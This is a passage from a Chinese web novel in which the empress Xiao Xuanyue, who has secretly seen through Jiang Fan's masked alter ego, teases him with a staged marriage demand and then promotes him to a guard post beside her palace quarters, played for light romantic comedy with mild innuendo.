“不松…就不松…晚辈知道,前辈心里定然也是在意晚辈的,不然…不然为何屡次三番救晚辈于危难?
为何…为何在崖下,那般…那般温柔地为晚辈疗伤?前辈,您的心,不是铁石做的,对吗?”
江凡感觉自己快撑不住了,这女人可是尤物!
温香软玉入怀,这谁顶得住啊!
“老夫…老夫那是医者父母心!换作任何人,老夫都会救!”
他强行辩解,试图找回一点理智,
“陛下切莫误会!老夫心中…早已有了他人,此生…再容不下第二人!”
情急之下,他祭出了‘心中有人’这个万能挡箭牌。
果然,萧璇月身体微微一僵,抬起头,泪眼朦胧地看着他:
“心中…有了他人?是谁?是前辈的…道侣吗?”
她的声音带着颤抖,这次倒是真的:难道这小混蛋真的喜欢周婉如?
“是…是!”
江凡硬着头皮承认,反正‘逍遥公子’是虚构的,随便编个白月光,
“她…她已故去多年,但老夫心中,唯有她一人。陛下青春正好,何必执着于一个心如死灰的老朽?放过老夫,也放过你自己吧。”
他试图用‘深情悼亡’人设来打动她。
萧璇月心中松了口气:不愧是写话本的,故事张口就来!
编!继续编!
还已故道侣?
你一个二十岁的小屁孩,哪来的已故道侣?
但她面上却露出更加悲痛欲绝的神色,仿佛被彻底击垮,泪水流得更凶,却依旧紧紧抱着他不放,抽泣道:
“原来…原来前辈心中已有挚爱…是晚辈痴心妄想了…可是…可是前辈看了晚辈的身子,夺了晚辈的心,如今却说心中另有他人,让晚辈…情何以堪?
女子的名节,重于性命!前辈若要晚辈就此放手,还不如…不如杀了晚辈干净!”
她又把名节和负责的帽子扣了上来,而且扣得死死的。
江凡一个头两个大,感觉这女人简直是个逻辑鬼才,怎么绕都能绕回这个死胡同!
他快崩溃了,只能再次强调:
“陛下!那是情非得已!是为了救你的命!若不如此,你早已煞气攻心,香消玉殒!修为根基尽毁都是轻的!难道你要老夫见死不救吗?”
他试图讲道理。
“可对于女子而言,名节有时比性命更重要!”
萧璇月寸步不让,泪眼婆娑中却闪过一丝狡黠,
“前辈既然看了,就得负责!若前辈执意不肯,那便是瞧不起晚辈,觉得晚辈配不上前辈…既是如此,晚辈活着也无甚意思。
这大夏江山,晚辈一个弱女子也撑得着实辛苦,索性…索性让给靖王叔好了!反正他觊觎已久,晚辈也乐得清闲!”
她开始‘自暴自弃’,甚至用江山来‘威胁’了。
“不可!”
江凡脱口而出,声音带着急切,
“陛下!万万不可有此念头!靖王狼子野心,若他上位,必是民不聊生,天下大乱!陛下切不可因一时之气,铸成大错!”
涉及到正事,他倒是反应极快。
“那前辈要晚辈如何?”
萧璇月抬起泪眼,目光灼灼地看着他,
“前辈既不肯娶我,又不许我自暴自弃,将江山让与狼子野心之人,那前辈…可愿助我?帮晚辈坐稳这江山,铲除奸佞,还大夏一个朗朗乾坤?”
她这话是试探江凡对她和大夏国的态度。
江凡松了口气,总算回归正题了!
他立刻义正辞严道:
“陛下放心!铲奸除恶,保境安民,乃我辈修士分内之事!若靖王真敢祸乱朝纲,危及社稷,老夫断不会坐视不理!必在暗中助陛下一臂之力!”
他赶紧表态,先稳住这女人再说。
萧璇月心中暗喜,但面上依旧凄楚,趁热打铁道:
“有前辈此言,晚辈便放心了。只是…前辈助我,是因道义,还是因…因晚辈?”
她又把话题悄悄绕了回来,目光灼灼,带着期盼。
不知这混小子戴着面具,敢不敢说出实话。
江凡头皮发麻,赶紧道:
“自是因道义!因天下苍生!陛下乃明君,老夫自然相助!”
他撇清关系。
“只因道义么…”
萧璇月眼中光芒黯了黯,仿佛极为失落,但抱着他的手却没松,反而将脸轻轻靠在他胸前。
感受到他瞬间僵硬的身体和骤然加快的心跳,心中暗笑,低声道:
“即便如此,晚辈也知足了。至少…前辈心里,是有苍生,也有晚辈的江山的…前辈,晚辈别无所求,只求…在晚
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辈需要的时候,前辈能如以往一般,出现在晚辈身边,可好?”
她的声音柔柔弱弱,带着无尽的依赖和祈求,仿佛将全身心都托付给了他。
江凡哪里经历过这种阵仗,只觉得怀中人软玉温香,吐气如兰。
那声音如同魔音灌耳,让他心跳如雷,口干舌燥,脑子里一团乱麻,只能含糊地“嗯”了一声。
“那…前辈可否答应晚辈,无论发生何事,都不会抛下晚辈不管?”
萧璇月仰起脸,眼中泪光未消,却闪烁着执着的光芒。
“我…老夫…尽力而为。”
江凡被她看得心慌意乱,只想赶紧脱身。
被火热娇躯投怀送抱,自己忍得很辛苦好吧!
“还有…”萧璇月似乎犹豫了一下,脸颊飞起两朵红云,
“那枚玉佩…前辈…可还带在身边?”
玉佩?
江凡一愣,随即硬着头皮道:
“在…在的,我...我徒儿已经给我了。”
萧璇月眼中闪过一丝得逞的笑意,声音更柔:
“那玉佩,是晚辈贴身之物,自幼佩戴,从未离身。如今赠予前辈,便是将晚辈的一颗心,也交给了前辈。前辈…可要好好保管这定情信物,莫要丢了。”
她说着,仿佛用尽了所有勇气,将脸深深埋进他怀里,不再说话,只是手臂环得更紧了。
平日里要保持女帝威严,各种压力让她身心俱疲。
而此时面对戴着面具的江凡,她发现自己可以放下伪装,袒露心扉,内心也十分享受这种放松的感觉。
她现在的身份不是女帝,只是一个索要安全感的小女子。
江凡感觉自己像被架在火上烤,怀里抱着个烫手山芋,扔不掉,甩不脱。
玉佩?
定情信物?
这都什么跟什么啊!
自己今天来是让这个女人死心的,事情怎么没有按照自己预想的发展?
这女人真的爱上‘逍遥公子’了?
还是另有图谋,比如只是看上自己的修为?
他僵着身子,动也不敢动,只觉得时间过得无比漫长。
夜风吹过,带起萧璇月几缕发丝,拂过他的脖颈,痒痒的,让他更加心慌意乱。
他闻着她发间、身上传来的淡淡幽香,感受着怀中温软娇躯的轻颤...
江凡的心,彻底乱了...
第171章 带着武器吗
就在江凡心乱如麻、不知如何是好之际。
萧璇月忽然轻轻动了动,仿佛无意识般,手臂收紧,整个娇躯更紧密地贴向他。
那一瞬间,萧璇月嘴角偷笑。
脑海中想起江凡早就通过话本在帮助她和大夏国,心中就十分感动。
这家伙明明有如此修为,平日里自己发火也保持恭敬忠心,要是换一般人早就**了。
越想江凡的优点就越多,她的手也就搂得越紧。
感受到他僵硬的身体和慌乱的心跳,哪里像是一个看破红尘、活了不知几百年的世外高人?
分明就是个情窦初开、不,是个被女人投怀送抱吓得魂不附体的毛头小子!
江凡啊江凡,既然你吃这一套,那你一天不坦白,那我就一直用这一套纠缠‘逍遥公子’。
她轻轻蹭了蹭他的胸膛,仿佛找到了最安心的港湾,满足地、无声地叹息了一声。
尽管心中有些不舍,但她也清楚这场‘逼婚’大戏,演到这里,也该见好就收了。
再演下去,恐怕这小混蛋真要吓得魂飞魄散了。
于是,在江凡即将彻底崩溃、准备不管不顾推开她之前,萧璇月自己主动松开了手,后退了一小步,拉开了些许距离。
她抬起泪眼朦胧的脸,痴痴地望着青铜面具,声音带着无尽的眷恋和好奇:
“前辈,你身上带着武器吗?咯到晚辈了...”
“武器?没有啊...”
江凡说着,这才发现自己竟然可耻的升旗了!
该死!
丢死个人!
我的高人形象啊!
他赶紧转过身,脑瓜子还嗡嗡的。
“前辈…看来你身体比你嘴巴诚实多了。时辰不早了,晚辈该回去了。今夜能得前辈片刻怀抱,听前辈几句肺腑之言,晚辈…已心满意足。
前辈的承诺,晚辈记住了。玉佩…请前辈务必收好。晚辈…告辞了。要是想晚辈了,就拿出玉佩看看...”
萧璇月忍住笑意,深深地看了那青铜面具一眼,然后毅然转身,对早已躲到远处、肩膀可疑地微微耸动的云暮低声道:
“云暮,我们走。”
“是,陛下。”
云暮赶紧应声,强行憋住笑,搀扶住似乎‘伤心欲绝、步履蹒跚’的女帝,两人很快消失在崖底密林的阴影之中。
夜风依旧,月色清冷。
江凡独自一人站在原地,保持着被‘强抱’的姿势,如同石化了一般。
过了许久,他才缓缓放下僵硬的双手,长长地、长长地吐出一口浊气,仿佛用尽了全身的力气。
“我、我这是…被调戏了?被…被女帝调戏了?”
他喃喃自语,声音带着难以置信的荒谬感。
他摸了摸自己的脸,滚烫。
又摸了摸胸口,心脏还在狂跳。
怀中,似乎还残留着那温软幽香的触感…
“啪!”
他狠狠给了自己一巴掌,试图让自己清醒一点。
“江凡,醒醒!那是女帝,她怎么可能爱上‘逍遥公子’?她是看上你的修为而已!你可别被骗了...”
今晚的信息量太大,冲击太强,他需要时间好好消化。
他无力地靠在一块岩石上,仰头望着夜空,脑子还是很乱。
“造孽啊…这一百万人气值,我是让她死心的,怎么发展成这样…”
他哀叹一声,摸了摸怀中那枚温润的玉佩。
没想到女帝平日里威严十足,私下里却还有这样‘柔弱’的一面...
“不行!得赶紧想办法!得让她对‘逍遥公子’死心...算了,先回去再说,别被人发现了。”
而另一边,回到寝帐的萧璇月,屏退左右,只留下云暮一人。
她脸上的泪痕早已擦干,带着两抹动人的红晕。
萧璇月走到铜镜前,看着镜中带着娇羞与得意的脸庞,轻轻抚摸着自己滚烫的脸颊,嘴角勾起一抹带着娇羞的微笑。
“云暮,”她低声开口,声音带着一丝慵懒和甜蜜,
“你说…这位‘前辈’是不是很有趣?”
云暮抿嘴一笑,低声道:“何止有趣,奴婢在远处瞧着,江...咳咳,逍遥前辈…整个人都僵了,手都不知道往哪放呢。陛下,您这招…可真是高明。”
“哼,那是他活该!”
萧璇月轻哼一声,眼中却笑意盈盈,
“谁让他骗朕那么久
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,还把朕…写得那么不堪!这只是…一点小小的利息。”
她顿了顿,走到窗边,望着江凡帐篷的方向,低声自语:
“这臭小子心里,应该是有朕的吧?否则以他的修为,朕根本无法这么放肆...”
夜风拂过帐帘,带着深秋的凉意。
江凡如同行尸走肉般回到自己的小帐篷附近,脑袋里还在嗡嗡作响。
他心烦意乱,魂不守舍。
他下意识地摸了摸怀里那枚玉佩,只觉得烫手无比,扔也不是,留也不是。
正当他神情恍惚时,一个轻柔的声音忽然响起:
“江侍卫?这么晚了,你这是…从何处回来?”
江凡猛地抬头,只见云暮不知何时已站在他帐前不远处,正借着月光静静地看着他。
她换了身素净的常服,头发也松散下来,显然已是准备歇息,却又被他的动静引了出来。
“云…云暮姑娘!”
江凡连忙挤出笑容,强作镇定道,
“没、没去哪,就是…就是晚上水喝多了,出去…出去方便了一下。对,方便了一下!”
他语无伦次地解释着,眼神飘忽,不敢与云暮对视。
云暮看着他那副做贼心虚、眼神乱飘的模样,心中早已笑翻了天。
江世子今晚算是被陛下拿捏了,这心虚的样子还真可爱。
她面上却丝毫不显,只是微微颔首,语气平淡无波:
“哦,原来如此。夜里风大,江侍卫还需多注意些,莫要着凉了。”
她顿了顿,目光似不经意地扫过江凡那略显凌乱的衣袍下摆,又补充道,
“陛下今日…似乎心情不佳,江侍卫明日当值,还需更谨慎些。”
“是是是!多谢云暮姑娘提醒!我一定注意!一定注意!”
江凡如蒙大赦,连连点头,恨不得立刻钻进帐篷里去。
他总觉得云暮的目光,让他浑身不自在。
“嗯,早些歇息吧。”
云暮不再多言,转身便走,只是转身的刹那,嘴角终于抑制不住地向上弯起一个弧度,又迅速抿平。
这个江世子,平日看着机灵,也不知道什么时候能发现身份暴露了...
第172章 要我的老命
看着云暮窈窕的背影消失后,江凡才长长松了一口气,抹了把冷汗溜进自己的帐篷。
一头栽倒在简陋的床铺上,他瞪着帐篷顶,只觉得身心俱疲。
“造孽啊…我怎么没推开她…”
他喃喃自语,脑海里又不受控制地浮现出悬崖下那一幕。
女帝泪眼朦胧的模样,柔软的身躯,炽热的拥抱,还有那带着幽香的呼吸…
打住!打住!
江凡猛地摇头,狠狠掐了自己大腿一把。
清醒点!
那是女帝!
是陛下!
而且表白的对象是自己‘师尊’,又不是自己!
他用力甩甩头,将那些旖旎的念头甩出去。
现在不是想这些的时候!
关键是,女帝到底想干什么?
她逼‘逍遥公子’现身,又上演这么一出‘非君不嫁’的苦情戏,难道真的只是为了拉拢一个‘陆地神仙’级别的助力?
他调出系统界面,看着已突破【1,600,000】的人气值,心情稍微平复了一些。
还好,虽然花费了一百万,但底牌还在。
不管之后发生什么,只要人气值够,【陆地神仙体验卡】和【无敌领域】就是最大的底气。
“不行,得做点什么转移注意力...”
江凡琢磨着。
更新话本?
然而,当他准备创作时,却发现脑子乱糟糟的,女帝的身影、声音、眼泪、拥抱…不断在他眼前晃动,干扰着他的思绪。
原本想好的桥段,此刻写出来都觉得苍白无力,仿佛带着一股赌气般的幼稚。
“唉…”
他叹了口气,揉了揉太阳穴。
最终,他还是勉强提起精神,绞尽脑汁,更新了一章。
这一章,他既不敢再过分‘抹黑’女帝,也不敢再写女帝的暧昧。
只好笔锋一转,写‘侍卫林枫’因修**法出了岔子,结果发现自己命不久矣。
为了怕‘大乾女帝’为自己担心,只能将深情埋藏心底,远走海外仙山,寻访灵药…
通篇充斥着一种‘忘了我吧你会找到更好’的圣母气息。
书中‘侍卫林枫’的逃避,何尝不是现实中他自己想要逃避...
写完提交,看着人气值再次跳动上涨,江凡却没有多少喜悦,只觉得心累。
他颓然倒在床上,用被子蒙住头。
不知过了多久,才沉沉睡去。
……
翌日清晨,天色微明,号角声将江凡从光怪陆离的梦境中惊醒。
他梦到自己被女帝拿着刀追着跑,边跑边喊‘负心汉’、‘看了朕的身子就想跑’。
还梦到女帝揭开他面具的面具,顿时羞怒交加的质问:江凡,怎么是你?这样欺骗朕有意思吗……
醒来时,额头上竟是一层冷汗。
“呼…吓死宝宝了…”
他心有余悸地坐起身,拍了拍胸口。
这梦也太真实了!
一定是日有所思夜有所梦!
打死也不能让女帝知道逍遥公子就是自己!
他连忙起身洗漱,换好侍卫服。
到了御厨房,精心准备了爽口小菜和滋补粥品,用食盒装好,深吸一口气,硬着头皮,走向中军大帐。
帐外,云暮已值守在侧,见他过来,目光在他脸上停留了一瞬,那眼神平静无波,却又有些古怪。
江凡心里打鼓,强笑道:
“云暮姑娘早,陛下起身了吗?我…我来送早膳。”
“陛下刚起,正在梳洗。江侍卫稍候,我进去通传。”
云暮点点头,转身进了大帐。
江凡站在帐外,听着里面隐约传来水声和窸窣的穿衣声,没来由地有些紧张。
昨晚的‘夜会’太过刺激,他到现在还没完全缓过劲来,不知道女帝今天又会出什么幺蛾子。
不多时,云暮掀帘出来,对他道:
“陛下宣你进去。”
“是。”
江凡定了定神,拎着食盒,低头垂目,小心翼翼地走进大帐。
帐内弥漫着淡淡的皂角清香和女子特有的体香。
江凡不敢抬头,眼观鼻鼻观心,快步走到御案前,将食盒轻轻放下,躬身道:
“陛下,早膳已备好,请陛下用…”
他话未说完,眼角的余光却瞥见一道身影从屏风后转出。
他下意识地抬眼一看,整个人瞬间僵住,后面的话也卡在了喉咙里。
只见萧璇月只穿着一件月白色的素纱中衣,外罩一件同色薄绸寝袍,将完美的身材若隐若现的展示出来。
她似乎刚刚梳洗完毕,一头如瀑青丝随意披散在肩头,发梢还带着些许湿意,衬得肌肤越
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发白皙晶莹,宛若上好的羊脂美玉。
她脸上未施粉黛,却眉不画而黛,唇不点而朱。
晨光透过帐帘缝隙洒在她身上,为她镀上一层柔和的光晕,宛如清水出芙蓉,天然去雕饰。
江凡只觉得脑袋‘嗡’的一声,血液瞬间涌上头顶,脸颊耳根火烧火燎!
他猛地低下头,心脏狂跳起来,几乎要冲出胸腔!
非礼勿视!非礼勿视!
这是我一个臣子能看的吗?
他心中疯狂呐喊,眼睛死死盯着自己的鞋尖,恨不得把地面盯出个洞来!
陛下!
您、您这穿得也太…太清凉了吧!
这这成何体统啊!
我还是个孩子…啊呸,我是个男人啊!
这也太不拿我当外人了吧?
“江爱卿,早膳备好了?”
萧璇月似乎浑然不觉自己这身装扮有何不妥,声音带着刚起床的些许沙哑和慵懒,缓步走到御案后坐下。
目光落在低眉顺眼、恨不得把自己缩成一团的江凡身上,凤眸中闪过一丝狡黠的笑意。
“是、是!备…备好了!”
江凡舌头打结,声音发颤,手忙脚乱地打开食盒,将里面的碗碟一样样取出,摆在案上。
动作僵硬,差点把粥碗打翻。
萧璇月好整以暇地看着他这副窘态,心中畅快无比。
小样儿,昨晚不是挺能装吗?
不是‘看破红尘’、‘红粉骷髅’吗?
怎么,见到朕这副样子,就慌成这样了?
看到江凡局促的样子,萧璇月心中有些小得意。
看来自己魅力还不错,就是不知道这混小子什么时候能胆大主动点。
她伸出纤纤玉手,拿起玉箸,夹起一片清脆的腌黄瓜,放入口中,细细咀嚼,点了点头:
“嗯,味道尚可。江爱卿有心了。”
“陛…陛下喜欢就好。”
江凡头也不敢抬,只盼着赶紧放下东西滚蛋。
这地方他是一刻也待不下去了!
多待一秒都是煎熬!
“江爱卿,”萧璇月忽然开口,声音轻柔,却带着一种莫名的意味,
“你低着头做什么?抬起头来,看着朕。”
江凡身体一僵,心里叫苦不迭。
抬头?看您?
现在这副模样这不是要我老命吗!
第173章 不详的预感
江凡艰难地咽了口唾沫,挤出一个比哭还难看的笑容,缓缓抬起头。
但目光依旧不敢与女帝对视,只敢落在她下巴以下、锁骨以上的位置——
嗯,这个角度比较安全。
“朕今日…这身装扮,可还入眼?”
萧璇月微微歪了歪头,几缕湿发滑落肩头,更添几分风情。
她仿佛不经意地问,语气中却带着一丝调侃。
“入、入眼!啊不!是…是好看!陛下天姿国色,无论穿什么,都…都好看!”
嗯,不穿更好看...
当然,这话他可不敢说。
“哦?只是好看?”
萧璇月似乎有些不满意,纤指轻轻点了点自己的脸颊,凤眸波光流转,带着一丝探究和诱惑?
“比起你那位…已故的师娘,如何?”
“噗——!”
江凡差点被自己的口水呛死!
师娘?
已故的师娘?
那是我昨晚随口瞎编的啊!
陛下您怎么还拿来比较?
这…这能比吗?
他脸涨得通红,连连摆手:
“陛下、陛下恕罪!臣不敢妄议,师尊他老人家的私事,臣…臣一概不知!更不敢妄加比较!
陛下乃九五之尊,风华绝代,岂是…岂是凡人可比!而且臣也没有见过师娘...”
他慌不择言,马屁拍得山响。
“是吗?”萧璇月似乎被他的窘态逗乐了,轻笑一声,那笑声清脆动人,却让江凡头皮发麻。
“朕还以为,在你师尊眼中,红粉皆是骷髅呢。看来,也未必如此嘛。”
江凡:“……”
他感觉自己快要窒息了。
陛下,求您了,这是我能听的吗?
看着江凡那副恨不得找条地缝钻进去的模样,萧璇月心中大乐。
她慢条斯理地喝了口粥,忽然话锋一转:
“江爱卿,你说…朕这般模样,这般心意,当你师娘,可还…够格?”
江凡伸手扶额:女帝还真看上逍遥公子了?
“陛、陛下!万万不可啊!”江凡赶紧阻止,
“师尊他…他老人家早已勘破情关,心如止水,一心向道!他…他昨日不是已经跟陛下说清楚了吗?
他心中唯有已故的师娘,再容不下第二人!陛下乃万金之躯,天下之主,何必…何必执着于一个方外之人?
这有损陛下清誉,也…也违背师尊道心啊!还请陛下三思,趁早放弃师尊吧!”
他把昨晚‘逍遥公子’的‘深情悼亡’人设又搬了出来,希望能打消女帝这‘可怕’的念头。
萧璇月看着脸色发白的江凡,心中那点恶作剧得逞的快感几乎要满溢出来。
她强忍着笑意,蹙起秀眉,露出一副痴心错付的表情,幽幽叹道:
“是吗?可你师尊…他昨夜明明不是这样说的呀。”
“啊?”江凡猛地抬头,一脸茫然加惊恐。
昨夜?
昨夜我说什么了?
我不是一直拒绝的吗?
萧璇月垂下眼帘,长睫微颤,声音低柔婉转,带着一丝羞涩:
“昨夜,在断崖之下,朕与他互诉衷肠。他虽未明言答应,却…却也没有再坚决拒绝。
朕扑入他怀中,他亦未曾推开…他还说,朕的江山,他会护着…这难道不是…默许了朕的心意吗?”
她说着,抬眼看向江凡,眼中泪光盈盈,
“江爱卿,你身为他的弟子,最了解他。你告诉朕,他…他心中,当真就一丝一毫都没有朕的位置吗?
昨夜…他抱朕抱得那样紧,心跳得那样快…朕能感觉得到,他并非全然无情…你觉得呢?”
江凡:“……”
我抱得紧?
我心跳得快?
我、我那是因为害怕!
因为紧张!
因为被你吓的!
“陛下,可能是一场误会...”
江凡回想起昨晚萧璇月抱着自己的一幕,心跳再次加快。
女帝喜欢‘师尊’,怎么自己居然有点吃醋的感觉?
擦,特喵的自己吃自己醋?
“师尊他…他那是…那是情急之下,怕陛下摔倒!绝非…绝非有意轻薄!师尊他对陛下,绝无半点非分之想!
他…他临走时还叮嘱臣,要臣好生劝慰陛下,莫要…莫要误了终身,您和他是不可能的!”
他情急之下,又开始胡编乱造,只求能让这个‘恋爱
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脑女帝’早点死心。
“哦?是吗?”
萧璇月眼中泪光瞬间收起,但语气依旧哀怨,
“可他收了朕的玉佩…那玉佩,是朕的贴身之物,自幼佩戴,从未离身。他既收了,便是接了朕的心意。这又作何解释?”
玉佩!又是玉佩!
江凡感觉这几天快要被这枚玉佩逼疯了!
他哭丧着脸,从怀里摸出那枚温润的碧玉佩,双手捧着:
“陛下明鉴!这玉佩…这玉佩是师尊他老人家临走前交给臣的!他让臣…寻个机会,还给陛下!他说此物太过珍贵,他乃方外之人,受之有愧,还请陛下收回!”
他灵机一动,赶紧把‘锅’甩回给‘师尊’,希望能撇清关系。
“还给朕?”
萧璇月微微挑眉,却没有去接玉佩。
她的目光落在江凡的手上,嘴角的弧度更深了,
“他既已收下,便是朕的人了。哪有还回来的道理?江爱卿,这玉佩,你还是好生收着,替朕…好好保管。待到你师尊想通了,愿意来见朕了,再…亲手交还于他。可好?”
她的声音温柔似水,却带着不容置疑的意味。
朕送出去的定情信物,岂有收回的道理?
江凡脸色一阵青一阵白。
“陛、陛下…”他还想再挣扎一下。
“好了,”萧璇月却不再给他机会,拿起丝帕擦了擦嘴角,
“此事暂且不提。江爱卿,朕今日便启程回京,准备收拾出发。”
“回京?”江凡一愣,下意识抬头,随即又赶紧低下,
“狩猎…不是还有一日吗?”
“不必了。”萧璇月凤眸中闪过一丝冷意,
“靖王经此一挫,短时间内不敢再在猎场动手。但边关急报,北莽、南蛮异动频频,恐有大事发生。京城不可久离,朕需即刻回宫坐镇。”
她顿了顿,看向江凡,
“此次狩猎,你护驾有功,虽仍有疏漏,但念在你…嗯,还算尽心,且你师尊逍遥公子前辈屡次救朕于危难,功不可没。朕,当赏罚分明。”
江凡心中一动,隐隐有种不祥的预感。
赏?
不会是又赏他抄经吧?
第174章 日子怎么过
只听萧璇月继续道:
“即日起,擢升你为御前二品金刀侍卫,赐金刀一柄,可见官不拜,有先斩后奏之权。
此外,为便于护卫,特许你迁入宫内当值,就住在朕寝宫旁的偏殿,与云暮轮值,十二时辰贴身护卫,不得有误。”
“二品金刀侍卫?宫内当值?十二时辰贴身护卫?”
江凡整个人都傻了:二品!金刀!先斩后奏!
这赏赐不可谓**重,这权力不可谓不大!
可是…住在宫里?还是女帝寝宫旁边?
十二时辰贴身护卫?这、这跟坐牢有什么区别?
不,比坐牢还惨!坐牢还有放风时间呢!
他还怎么…享受他纨绔世子的美好生活?
自由!
他只想要自由啊!
“陛下!臣…臣何德何能,受此厚赏!臣年轻识浅,武功低微,恐难当此大任!还请陛下收回成命!臣…臣愿继续做四品侍卫,为陛下鞍前马后,绝无怨言!”
江凡这次是真急了。
这哪是赏赐,这是要他的命啊!
“哦?你不愿?”萧璇月凤眸微眯,声音陡然转冷,
“江爱卿,你这是…要抗旨不遵?”
“臣不敢!”江凡脑子飞速运转,想着怎么推脱,
“臣是觉得,宫内规矩森严,臣性子散漫,恐冲撞了宫中贵人,也…也怕打扰陛下清静!
再者,臣父镇守南疆,家中仅有家姐一人,臣若久居宫内,家姐无人照料,臣心中难安啊陛下!”
他搬出了姐姐做挡箭牌。
萧璇月似笑非笑地看着他,仿佛早已看穿他的心思:
“镇国公府高手如云,仆役成群,何需你亲自照料?至于规矩…朕说你守得,你便守得。至于打扰…”
她故意拖长了音调,慢悠悠地道,
“这是你师娘…朕,给你的赏赐。怎么,你连师娘的话,也不听了?”
师…师娘?
又来了!
江凡眼前一黑,差点一口老血喷出来!
陛下!
您这‘师娘’还叫上瘾了是吧?
我答应了吗?
不对,我‘师尊’答应了吗?
他一脸郁闷,贴身侍卫还能在灭了靖王之后辞掉。
但金刀侍卫可不是想辞就能辞的啊!
除非,他暴露自己‘逍遥公子’的身份...
看着江凡脸色变幻不定的模样,萧璇月终于忍不住,嘴角上扬,露出一抹倾国倾城的笑容。
她挥了挥手:
“好了,此事朕意已决,不必再议。旨意即刻下达,你回去准备一下,午后便随驾回宫。退下吧。”
“臣…领旨…谢恩…”
江凡有气无力的行了一礼,然后退出了大帐。
走出帐外,被冷风一吹,他才打了个寒颤,回过神来。
“二品金刀侍卫…宫内当值…十二时辰贴身护卫…师娘…”
他喃喃重复着这几个词,只觉得人生一片灰暗。
这上班狗的生活,什么时候是个头啊!
他耷拉着脑袋,一步步挪向自己的帐篷。
帐内,萧璇月终于再也忍不住,发出一阵压抑的轻笑。
方才江凡那副欲哭无泪的模样,实在太过有趣,让她连日来的阴霾一扫而空。
云暮在一旁侍立,看着自家陛下笑得花枝乱颤,也忍不住抿嘴轻笑,低声道:
“陛下,您这般逗弄江世子,是不是…太过了些?瞧把他吓的。”
萧璇月抬起头,拭去眼角笑出的泪花,凤眸中闪烁着狡黠的光芒:
“过?这才到哪儿?他瞒得朕好苦,耍得朕团团转,还…还在那话本里那般编排朕,朕不过略施小惩,收点利息罢了。”
她顿了顿,眼中闪过一丝深意,
“况且,将他放在眼皮子底下,朕倒要看看,这小混蛋对朕到底有没有意思。”
她嘴角的笑意温柔而危险:
“师娘?这个称呼…倒也不错。江凡啊江凡,你一天不和朕坦白身份,朕就当你一天的‘师娘’。”
云暮捂着嘴,心中有些同情江凡。
希望世子能早点明白陛下的心意吧...
午后,阳光明媚。
大队人马自西山猎场缓缓返回京城,旌旗招展,甲胄鲜明,然而队伍中的气氛却并不轻松。
御驾旁,江凡骑在一匹神骏的枣红马上,腰间象征‘金刀侍卫’身份的金牌在阳光下熠熠生辉,
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引来周围侍卫羡慕与敬畏的目光。
这本是无数人梦寐以求的荣耀,可他脸上却半点喜色也无,反而愁眉苦脸,耷拉着脑袋,无精打采地跟着车驾。
他时不时偷偷瞄一眼那辆华丽威严的车驾,仿佛能透过帘幔,看到里面那个身影。
唉,二品金刀侍卫,宫内当值,十二时辰贴身护卫…
往后的日子,怕是要在水深火热中度过了。
马车内,萧璇月斜倚在软枕上,手中捧着一卷奏折,却半天未曾翻动一页。
她凤眸微阖,似在养神,精致的眉宇间萦绕着疲惫与凝重。
靖王虽然没有继续刺杀,但边境烽烟将起,朝中暗流涌动,桩桩件件都压在她心头。
然而,当她偶尔掀起帘幔一角,目光落在那马上垂头丧气的江凡身上时,眼底深处那丝疲惫,便会悄然化开,浮现出笑意。
这臭小子,给你这么多特权还不开心!
云暮侍立一旁,将这一切尽收眼底,唇角微弯,心中暗笑:
陛下对江世子的兴致,是越来越浓了。
只是不知,这层窗户纸,何时才会彻底捅破?
车驾辘辘,终于驶入巍峨肃穆的皇城。
回到宫中,萧璇月并未立刻休息,而是径直前往御书房。
积压的奏章已堆满了案头,其中不乏来自北境、南疆的加急军报。
她屏退左右,只留了云暮在旁伺候,江凡则被她‘勒令’守在外殿。
空旷的外殿,江凡杵得像根木头柱子,眼观鼻鼻观心,心里却七上八下。
他偷偷瞄着御书房紧闭的门,仿佛能听到里面翻阅奏章的沙沙声,以及女帝偶尔发出的、极轻的叹息。
这气氛,压抑得让人喘不过气。
他百无聊赖地开始盘点自己现在的处境:人气值还剩一百多万,安全感严重不足;
女帝似乎认准了‘逍遥公子’这个‘师尊’,还时不时以‘师娘’自居,这关系乱得让人头大;
最要命的是,以后要住在宫里,就在女帝眼皮子底下,这意味着他几乎失去了所有‘自由活动’的时间,想偷偷溜出去喝花酒是难如登天!
这日子,可怎么过啊!
第175章 你衣服破了
就在他胡思乱想、几乎要站着睡着时,御书房的门‘吱呀’一声开了。
云暮端着茶盘走出来,对他使了个眼色,低声道:
“江侍卫,陛下宣你进去。”
江凡一个激灵,连忙整理了一下衣冠,深吸一口气,摆出忠心耿耿的表情,迈步走了进去。
御书房内,烛火通明,檀香袅袅。
萧璇月正蹙着眉,看着手中一份奏报,朱笔悬在半空,久久未曾落下。
听到脚步声,她抬起头,凤眸中带着一丝血丝,显然已批阅了许久。
“臣江凡,参见陛下。”
江凡规规矩矩地行礼。
“嗯,平身吧。”
萧璇月放下朱笔,揉了揉发胀的太阳穴,目光落在江凡身上,语气听不出情绪,
“金刀侍卫的腰牌、服饰、印信,内务府稍后会送到你住处。从明日起,你便正式在宫内当值,具体轮值时辰与规矩,云暮会告知你。”
“臣,遵旨。”
江凡低头应道,心里却暗暗叫苦。
没自由的苦日子要开始了!
萧璇月似乎看出了他的不情愿,凤眸微眯,忽然话锋一转:
“怎么?江爱卿似乎…不太乐意?是嫌这二品金刀侍卫的职位太低,配不上你?还是觉得…住在宫里,束缚了你的‘自由’?”
“臣不敢!臣绝无此意!”
江凡后背一凉,连忙否认,头摇得像拨浪鼓,
“陛下厚爱,擢升臣于微末,赐臣金刀,许臣近前,此乃臣三生有幸,祖上积德!臣感激涕零,唯愿肝脑涂地,以报陛下隆恩!
怎敢有丝毫怨言!臣…臣只是…只是骤然受此隆恩,诚惶诚恐,唯恐才疏学浅,有负圣望,是以…是以有些紧张!”
他一番话说得又急又快,情真意切,实则心里在疯狂吐槽。
鬼才想当什么金刀侍卫呢,给我皇帝都不想当,哪有当个勾栏听曲儿、三妻四妾的纨绔舒服?
“哦?紧张?”
萧璇月微微挑眉,身子往后靠了靠,好整以暇地看着他,
“朕记得,江爱卿面对叛军首领、南蛮公主、甚至…那夜的刺客时,都未曾如此紧张。怎么,在朕面前,反倒紧张了?”
江凡:我能说你比刺客更吓人吗?
一看到女帝,脑海中情不自禁的闪过给她疗伤以及那夜拥抱的画面,生怕不小心露馅。
他干笑两声,硬着头皮道:
“陛下天威浩荡,臣…臣自然敬畏有加,不敢不紧张。”
萧璇月看着他这副油滑的样子,嘴角弯了弯。
她端起茶盏,轻轻抿了一口,目光却依旧锁在江凡身上。
半晌,她才缓缓开口,声音压得很低:
